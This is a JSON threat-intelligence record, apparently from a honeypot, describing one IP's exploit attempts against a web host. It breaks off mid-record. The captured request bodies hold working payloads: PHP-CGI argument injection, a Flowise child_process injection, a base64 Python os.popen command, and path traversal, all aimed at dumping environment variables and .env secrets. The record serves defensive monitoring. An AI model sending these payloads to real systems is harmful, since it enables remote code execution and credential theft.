{"ip":"136.90.15.166","total_events":249,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"74 exploit-path hits","confidence":"high","network_type":null,"why":["74 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 1,886,190 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"1,886,190 bytes sent","bytes_sent":1886190,"session_seconds":22,"persistent":false}},"first_seen":"2026-09-29T00:35:36","last_seen":"2026-09-29T00:35:59","events_24h":249,"events_7d":249,"geo":{"country_code":"US","country_name":"United States","region":"District of Columbia","city":"Washington","lat":38.894,"lon":-77.0365,"asn":396982,"org":"Google LLC"},"source_domain":"166.15.90.136.bc.googleusercontent.com","known_scanners":[],"scanner_tag":{"key":"gcp","label":"Google Cloud","category":"hosting_provider","url":"https://cloud.google.com/"},"cve_matches":[{"cve_id":"CVE-2022-22963","title":"Spring Cloud - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/functionRouter"},{"cve_id":"CVE-2024-4577","title":"PHP CGI - Argument Injection","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/php-cgi/php-cgi.exe"},{"cve_id":"CVE-2026-33017","title":"Langflow < 1.9.0 - Remote Code Execution","severity":"CRITICAL","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow"},{"cve_id":"CVE-2026-85688","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content"},{"cve_id":"CVE-2019-11248","title":"Debug Endpoint pprof - Exposure Detection","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/debug/pprof"},{"cve_id":"CVE-2026-23536","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document"}],"malware":[],"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":249}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13d1516h2_8daaf6152771_d8a2da3f94cd"],"tls_client_hello":"16030106fa010006f603031df9d33aef10e2c0adbb0b1b6b21cb02d76a1735c0258ec35d2dd1148ab15a002061969e461eadd5f1410ee66e0ba897c537ee9a6c9f45e91f1eb7911a45b189bd00207a7a130113021303c02bc02fc02cc030cca9cca8c013c014009c009d002f00350100068d9a9a0000000d0012001004030804040105030805050108060601fe0d00fa0000010001790020a4f810f2f191fdd6b8dd137cac6f5eca4a68a5b403601b033ff86e4e1d0d726d00d0d4028d9457786f76a479326c6d1c9fb13dbf706673fcdf0af2576e68b9e2e8a62766f135346f5917c05cbdf7190528a71ffbb3f639fe4c7fb4b0a730292194079befb3b8e84c0f67c22544150ccb1ce639a9548a0cb2bdb9850b5ec7a051a1f8adaac69f3d3cb9035af27c5c4e942171229ea3f23f6ce3bc86aa9db7f0a337e24c58e63fe77042aca366283ff43d4ae950af04c0967cb9ee387631c89d70e6d4fcbbdfca0888135f3864e255c537a7071645adb67889be7da336e3265fd5356cdc7310f8ef3d3efa01764d6dd1bcd95400120000ff0100010000170000000b000201000010000e000c02683208687474702f312e31002b000706eaea0304030300050005010000000000230000003304ef04edaaaa00010011ec04c098fa4c47024bddd4689eb62fac2639d7623f2a4c72130690e0c06f917c9bd5fb187abaa7935353b27bcc7fb0a246153581a0a004d30f27918528b83f4c713aa9da1a4a540f06356ad9028f394cbefe6742e8d6b42fd00b869ccd4cf3245435c56d252f66863eb2250bcdbb04d0147a5a46538489a42fac9dbe3cb5a2d546a105931d4a8a66638379b05a3d3557038336b64499fa86bba6350fa6d3aa11259a0e72a56e8097bf401e7fe2827c71151635ae6637500546b5b5dab4a7f1122f64b8dd64897e9b8d6c66ab61400b4a328305e2840b99c0e9061eb4a1370f2b2adf066f531b82c4617de5c1b37ccb968872954c509b5431be682a21bacb52c0aac86f117b5cf67a169a21154c63664133a7092d13e1c052355eab7170e3310426109945d64c5ffc894dd2b6a58b9c4917ac5db82118e672cf6155dde7bfb76cbfa576b9b1cc099c36b2f25077b9d61e64b5323ec7684801724530c3bdb528ecc8a543f4b547430e0fd09e95d076009d4a62871cac0b544c24b411aa06902b8e0ff699e8b963702bce392cca56102fea168fefe63f6cc5a9c0cc8aa091877211ab791c26cf1c8d62f43d3260607ce307fb5032746c801e5acb0f7a1f096c4ef866bd7f543eb9e0bf91d5540be86143311bf8301e77ba5f0f265da229410838bd9867a37f7081b190418701b06312306b122f26862787f9b23742c887e50236a175ef87c8bfb0c9c0218080dc2ae30cc7a5513fa63997d90a43ea54548e358025a892cdd81d6e5b9416942bc1c67fe3058e9af210dec84ac954703666c1fad38a561b907a4ccd30747262f72a4126c49f716bd4ea7fb529ae83ea7680179373894643e048b3690fd358a79c3a4fa881ce73ac3624364167b2c84556ab76f6b9166625a27a0b3489700bfb2b69aa19c0c6191f7747c36684f836176783384a9707ca92104da781ea332062e713ec696bdd499236a68a8e1967079ac17432090844622c52992f58b1defa5e27a1c741e9813ca3bdbe30353c66c75202a940eb5ba1dbc0b16192cc094c32ea1522783ac46512e5d05315851294452015c63136966b883320979c7952ca140fd87e084789bfc77ace7828ba6290bf182582fc1a9a8282b0c0c72cf953cfb74ce2b84007e2a81e5264a3bc561fec2cc66c7cb85c9bacf3ca72d39322b52478375ff49303ad803645d9660737a248145da668801fe229309a13eb5266aa4591cde75ebcdc636c799fc2ba175acb12a11356228b0795bb3bfa71964966195808a10268b08f198875460f0a826be464ad18b07f54482caf4215e76c01573acbf41615267599a3799602914f63661577f4b7898b08964430a708a7e67b6bb903173da68387d40be3492081a22cdb3c0716a96bd26b3a9fd60b13a72e970a9162943bafc48ca74b8249d980ce5901dcb58cf2c07902803605955ab0311f4ee7b6d6176bb0fb4ca0d3aae6844c88086115216ad15c21e2d94152ba5856b3489c781ea7f15666874be2576461f7aeb97ab8db2c409d364d1e4ca2d5903ed5282330e863324a856fd0ce38db0a7b059c902a1de36791c51aa848268645e3542cd6bbadb6c0835c25a011c183fa97af015789b2bdc9108998c18435b670e81399cf2485581e2208a439eb23dd6ba7c4dd2801ea93467357a8e52ff44f313ce4f5e75c95da0b81670d2da961a2351e603d661f111ac61a6a66af95363300001d00209c759be598c6fbb6c284ce58dd63a0ecd8a7eeb59b79df303c05dd76a9b67623000a000c000aaaaa11ec001d00170018002d00020101001b000302000244cd000500030268320000001600140000116368696361676f2e76706e69676f2e64658a8a000100","tls_ja3":["411a390200f8a00f6972f508afae0cc1","561f83ec4cdbe9d407a2724cc0fbd201","1e31981b5d1f7d8d3311a22bfa60ea13","dbe39f104b630cf63fc322c1b83f1ad1","21ad54a4053647820932e049364ad49d"],"http_akin":["a11cuq150_045c6e5d_efd6a5d2","a11cun062_0000004d_84d4cebf","a11cuq082_0000064d_8184102b","a11cun163_001ce87d_62d94f65","a11cuq050_0000064c_107c8b82"]},"fingerprint_peers":{"t13d1516h2_8daaf6152771_d8a2da3f94cd":9,"a11cuq150_045c6e5d_efd6a5d2":5,"a11cun062_0000004d_84d4cebf":5,"a11cuq082_0000064d_8184102b":5,"a11cun163_001ce87d_62d94f65":5,"a11cuq050_0000064c_107c8b82":26},"akin_families":{"a11cuq082_0000064d_8184102b":{"head":"a11cuq050_0000064c_107c8b82","shapes":3,"ips":26},"a11cuq050_0000064c_107c8b82":{"head":"a11cuq050_0000064c_107c8b82","shapes":3,"ips":26}},"user_agents":["Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)","Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36","Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)","Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36 Edg/153.0.0.0","Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)","Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)"],"timeline":[{"date":"2026-09-29","count":249}],"recent_events":[{"timestamp":"2026-09-29T00:35:59","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"chicago.vpnigo.de","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"141\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)\"}","body":"code=aW1wb3J0IG9zOyByYWlzZSBFeGNlcHRpb24ob3MucG9wZW4oJ2VudiAyPi9kZXYvbnVsbCB8fCBjYXQgL3Byb2Mvc2VsZi9lbnZpcm9uIDI-L2Rldi9udWxsJykucmVhZCgpKQ==","sni":"chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/exec-py","summary":"","payload_hex":"504f5354202f657865632d707920485454502f312e310d0a486f73743a206368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20636f686572652d61693b202b68747470733a2f2f636f686572652e636f6d2f637261776c6572290d0a436f6e74656e742d4c656e6774683a203134310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a636f64653d6157317762334a304947397a4f79427959576c7a5a53424665474e6c634852706232346f62334d75634739775a57346f4a325675646941795069396b5a585976626e5673624342386643426a595851674c33427962324d76633256735a69396c626e5a70636d39754944492d4c32526c64693975645778734a796b75636d56685a4367704b513d3d","method":"POST","user_agent":"Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)","ja3":"4cb839c683abaad97f760dec699db749","session":"d5939c98-c2a3-401c-9118-56198237d3f3","seq":31,"duration_ms":22134,"bytes_in":12369,"bytes_out":2418},{"timestamp":"2026-09-29T00:35:59","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"chicago.vpnigo.de","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"211\",\"content-type\":\"application/json\",\"host\":\"chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)\"}","body":"{\"loadMethod\":\"listActions\",\"inputs\":{\"mcpServerConfig\":\"({x:(function(){return process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').toString();})()} )\"}}","sni":"chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/v1/node-load-method/customMCP","summary":"","payload_hex":"504f5354202f6170692f76312f6e6f64652d6c6f61642d6d6574686f642f637573746f6d4d435020485454502f312e310d0a486f73743a206368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031305f31355f3729204170706c655765624b69742f3630352e312e313520284b48544d4c2c206c696b65204765636b6f292056657273696f6e2f31372e30205361666172692f3630352e312e313520284170706c65626f742f302e31290d0a436f6e74656e742d4c656e6774683a203231310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b226c6f61644d6574686f64223a226c697374416374696f6e73222c22696e70757473223a7b226d6370536572766572436f6e666967223a22287b783a2866756e6374696f6e28297b72657475726e2070726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e632827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27292e746f537472696e6728293b7d2928297d2029227d7d","method":"POST","user_agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)","ja3":"4cb839c683abaad97f760dec699db749","session":"d5939c98-c2a3-401c-9118-56198237d3f3","seq":29,"duration_ms":21574,"bytes_in":11562,"bytes_out":2262},{"timestamp":"2026-09-29T00:35:59","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"chicago.vpnigo.de","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"211\",\"content-type\":\"application/json\",\"host\":\"chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)\"}","body":"{\"loadMethod\":\"listActions\",\"inputs\":{\"mcpServerConfig\":\"({x:(function(){return process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').toString();})()} )\"}}","sni":"chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/flowise/api/v1/node-load-method/customMCP","summary":"","payload_hex":"504f5354202f666c6f776973652f6170692f76312f6e6f64652d6c6f61642d6d6574686f642f637573746f6d4d435020485454502f312e310d0a486f73743a206368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20596f75426f742f312e303b202b68747470733a2f2f796f752e636f6d2f626f74290d0a436f6e74656e742d4c656e6774683a203231310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b226c6f61644d6574686f64223a226c697374416374696f6e73222c22696e70757473223a7b226d6370536572766572436f6e666967223a22287b783a2866756e6374696f6e28297b72657475726e2070726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e632827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27292e746f537472696e6728293b7d2928297d2029227d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)","ja3":"4cb839c683abaad97f760dec699db749","session":"d5939c98-c2a3-401c-9118-56198237d3f3","seq":30,"duration_ms":21952,"bytes_in":12006,"bytes_out":2340},{"timestamp":"2026-09-29T00:35:58","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"chicago.vpnigo.de","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068702d6367692e6578653f254144642b616c6c6f775f75726c5f696e636c756465253364312b254144642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a206368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f293b20636f6d70617469626c653b20436861744750542d557365722f312e303b202b68747470733a2f2f6f70656e61692e636f6d2f626f740d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot","ja3":"4cb839c683abaad97f760dec699db749","session":"d5939c98-c2a3-401c-9118-56198237d3f3","seq":27,"duration_ms":20631,"bytes_in":10661,"bytes_out":2106},{"timestamp":"2026-09-29T00:35:58","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"chicago.vpnigo.de","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068703f254144642b616c6c6f775f75726c5f696e636c756465253364312b254144642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a206368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f293b20636f6d70617469626c653b20475054426f742f312e343b202b68747470733a2f2f6f70656e61692e636f6d2f677074626f740d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot","ja3":"4cb839c683abaad97f760dec699db749","session":"d5939c98-c2a3-401c-9118-56198237d3f3","seq":28,"duration_ms":21325,"bytes_in":11052,"bytes_out":2184},{"timestamp":"2026-09-29T00:35:57","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"chicago.vpnigo.de","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"48\",\"content-type\":\"application/json\",\"host\":\"chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)\"}","body":"{\"templateFile\":\"../../../../proc/self/environ\"}","sni":"chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/templates/preview","summary":"","payload_hex":"504f5354202f6170692f74656d706c617465732f7072657669657720485454502f312e310d0a486f73743a206368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d69737472616c41492d557365722f312e303b202b68747470733a2f2f6d69737472616c2e61692f290d0a436f6e74656e742d4c656e6774683a2034380d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2274656d706c61746546696c65223a222e2e2f2e2e2f2e2e2f2e2e2f70726f632f73656c662f656e7669726f6e227d","method":"POST","user_agent":"Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)","ja3":"4cb839c683abaad97f760dec699db749","session":"d5939c98-c2a3-401c-9118-56198237d3f3","seq":23,"duration_ms":19563,"bytes_in":9313,"bytes_out":1794},{"timestamp":"2026-09-29T00:35:57","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"chicago.vpnigo.de","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f696e6465782e7068703f254144642b616c6c6f775f75726c5f696e636c756465253364312b254144642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a206368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b2047726f6b426f742f312e303b202b68747470733a2f2f782e61692f290d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)","ja3":"4cb839c683abaad97f760dec699db749","session":"d5939c98-c2a3-401c-9118-56198237d3f3","seq":25,"duration_ms":20137,"bytes_in":9908,"bytes_out":1950},{"timestamp":"2026-09-29T00:35:57","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"chicago.vpnigo.de","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f7068702d6367692f7068702d6367692e6578653f254144642b616c6c6f775f75726c5f696e636c756465253364312b254144642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a206368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b207841492d47726f6b2f312e303b202b68747470733a2f2f782e61692f290d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)","ja3":"4cb839c683abaad97f760dec699db749","session":"d5939c98-c2a3-401c-9118-56198237d3f3","seq":26,"duration_ms":20446,"bytes_in":10259,"bytes_out":2028},{"timestamp":"2026-09-29T00:35:57","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"chicago.vpnigo.de","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"35\",\"content-type\":\"application/json\",\"host\":\"chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)\"}","body":"{\"templateFile\":\"../../../../.env\"}","sni":"chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/templates/preview","summary":"","payload_hex":"504f5354202f6170692f74656d706c617465732f7072657669657720485454502f312e310d0a486f73743a206368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d69737472616c41492d557365722f312e303b202b68747470733a2f2f6d69737472616c2e61692f290d0a436f6e74656e742d4c656e6774683a2033350d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2274656d706c61746546696c65223a222e2e2f2e2e2f2e2e2f2e2e2f2e656e76227d","method":"POST","user_agent":"Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)","ja3":"4cb839c683abaad97f760dec699db749","session":"d5939c98-c2a3-401c-9118-56198237d3f3","seq":24,"duration_ms":19911,"bytes_in":9568,"bytes_out":1872},{"timestamp":"2026-09-29T00:35:56","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"chicago.vpnigo.de","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"34\",\"content-type\":\"application/json\",\"host\":\"chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)\"}","body":"{\"file_path\":\"/proc/self/environ\"}","sni":"chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/designer/v1/file-content","summary":"","payload_hex":"504f5354202f6170692f64657369676e65722f76312f66696c652d636f6e74656e7420485454502f312e310d0a486f73743a206368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b2050616e6775426f742f312e303b202b68747470733a2f2f7777772e687561776569636c6f75642e636f6d2f290d0a436f6e74656e742d4c656e6774683a2033340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2266696c655f70617468223a222f70726f632f73656c662f656e7669726f6e227d","method":"POST","user_agent":"Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)","ja3":"4cb839c683abaad97f760dec699db749","session":"d5939c98-c2a3-401c-9118-56198237d3f3","seq":21,"duration_ms":18807,"bytes_in":8776,"bytes_out":1638}],"http_methods":[{"method":"GET","count":215},{"method":"POST","count":31},{"method":"DELETE","count":3}],"distinct_ports_total":1,"top_paths":[{"path":"/","count":2,"ports":1},{"path":"/read-document","count":2,"ports":1},{"path":"/api/templates/preview","count":2,"ports":1},{"path":"/feast/read-document","count":2,"ports":1},{"path":"/api/designer/v1/file-content","count":2,"ports":1},{"path":"/files../.env","count":1,"ports":1},{"path":"/gc-service.json","count":1,"ports":1},{"path":"/@fs/proc/self/environ?import&raw??","count":1,"ports":1},{"path":"/index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","count":1,"ports":1},{"path":"/api/v1/node-load-method/customMCP","count":1,"ports":1},{"path":"/static/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fproc/self/environ","count":1,"ports":1},{"path":"/src/amplifyconfiguration.json","count":1,"ports":1},{"path":"/_image?href=/../../../.env","count":1,"ports":1},{"path":"/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","count":1,"ports":1},{"path":"/appsettings.Development.json","count":1,"ports":1}],"distinct_paths_total":200,"top_snis":[{"value":"chicago.vpnigo.de","count":249}],"top_hosts":[{"value":"chicago.vpnigo.de","count":249}],"top_alpns":[{"value":"h2, http/1.1","count":249}],"banners":[],"credentials":[{"username":"","password":"bypass","count":2}],"header_profile":{"signature":["Accept-Encoding","Content-Length","Content-Type","Host","User-Agent"],"representative":[{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Content-Length","value":"141","notable":false},{"name":"Content-Type","value":"application/x-www-form-urlencoded","notable":true},{"name":"Host","value":"chicago.vpnigo.de","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)","notable":false}],"distinct_sets":1,"events_with_headers":10},"tags":[{"tag_id":"CVE-2022-22963","tag_type":"cve","title":"Spring Cloud - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/functionRouter","reference_urls":["https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f","https://github.com/cckuailong/spring-cloud-function-SpEL-RCE","https://tanzu.vmware.com/security/cve-2022-22963","https://nsfocusglobal.com/spring-cloud-function-spel-expression-injection-vulnerability-alert/","https://github.com/vulhub/vulhub/tree/scf-spel/spring/spring-cloud-function-spel-injection"]},{"tag_id":"CVE-2024-4577","tag_type":"cve","title":"PHP CGI - Argument Injection","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/php-cgi/php-cgi.exe","reference_urls":["https://s4e.io/tools/php-cgi-code-injection-cve-2024-4577","http://www.openwall.com/lists/oss-security/2024/06/07/1","https://blog.orange.tw/2024/06/cve-2024-4577-yet-another-php-rce.html","https://cert.be/en/advisory/warning-php-remote-code-execution-patch-immediately"]},{"tag_id":"CVE-2026-33017","tag_type":"cve","title":"Langflow < 1.9.0 - Remote Code Execution","severity":"CRITICAL","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow","reference_urls":[]},{"tag_id":"CVE-2026-85688","tag_type":"cve","title":"TEN Framework - Arbitrary File Read & 